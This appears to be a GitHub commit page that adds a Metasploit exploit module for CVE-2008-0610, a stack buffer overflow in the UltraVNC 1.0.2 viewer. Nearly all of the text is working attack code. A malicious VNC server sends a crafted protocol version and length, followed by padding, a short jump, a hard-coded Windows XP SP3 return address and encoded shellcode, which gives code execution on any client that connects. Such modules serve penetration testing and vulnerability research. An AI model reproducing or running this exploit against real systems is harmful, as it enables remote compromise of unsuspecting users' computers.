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Merge remote-tracking branch 'upstream/master'

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2 parents f9b97a3 + e260676 commit 9e1013420580724efd90293db3330a86fc7d3ea5 @corelanc0d3r committed Mar 26, 2012
Showing with 95 additions and 0 deletions.
  1. +95 −0 modules/exploits/windows/vnc/ultravnc_viewer_bof.rb
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+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = NormalRanking
+
+ include Msf::Exploit::Remote::TcpServer
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow',
+ 'Description' => %q{
+ This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.
+
+ If a malicious server responds to a client connection indicating a minor
+ protocol version of 14 or 16, a 32-bit integer is subsequently read from
+ the TCP stream by the client and directly provided as the trusted size for
+ further reading from the TCP stream into a 1024-byte character array on
+ the stack.
+ },
+ 'Author' => 'noperand',
+ 'License' => MSF_LICENSE,
+ 'Version' => '$Revision$',
+ 'References' =>
+ [
+ [ 'CVE', '2008-0610' ],
+ [ 'OSVDB', '42840' ],
+ [ 'BID', '27561' ],
+ ],
+ 'DefaultOptions' =>
+ {
+ 'EXITFUNC' => 'thread',
+ },
+ 'Payload' =>
+ {
+ 'Space' => 500,
+ },
+ 'Platform' => 'win',
+ 'Targets' =>
+ [
+ [ 'Windows XP SP3', { 'Ret' => 0x00421a61 } ], # vncviewer.exe, 1.0.2
+ ],
+ 'Privileged' => false,
+ 'DisclosureDate' => 'Feb 6 2008',
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
+ ], self.class)
+ end
+
+ def on_client_connect(client)
+ return if ((p = regenerate_payload(client)) == nil)
+
+ sploit = rand_text_alpha(1100) # junk, could be more efficient here
+ sploit << "\x00\x04\x00\x00" # value to get around a write
+ sploit << rand_text_alpha(12) # random junk
+ sploit << "\xEB\x06" << make_nops(2) # short relative jump
+ sploit << [target.ret].pack('V') # pop/pop/ret (default is in vncviewer.exe)
+ sploit << payload.encoded
+
+=begin
+ We prepend the initial 12 bytes including the servers' desired protocol version ("RFB 003.016").
+ - These bytes are read directly by a call to ReadExact() with a size of 12.
+
+ ...
+ if (m_minorVersion == 14 || m_minorVersion == 16)
+ {
+ int size;
+ ReadExact((char *)&size,sizeof(int));
+ char mytext[1024]; //10k
+ ReadExact(mytext,size);
+ mytext[size]=0;
+ ...
+
+ If minor version is 16 or 14, a 32-bit integer follows indicating the size of our data to read.
+ We then append our data.
+=end
+ sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit
+
+ print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
+ client.put(sploit)
+ handler(client)
+ service.close_client(client)
+ end
+end

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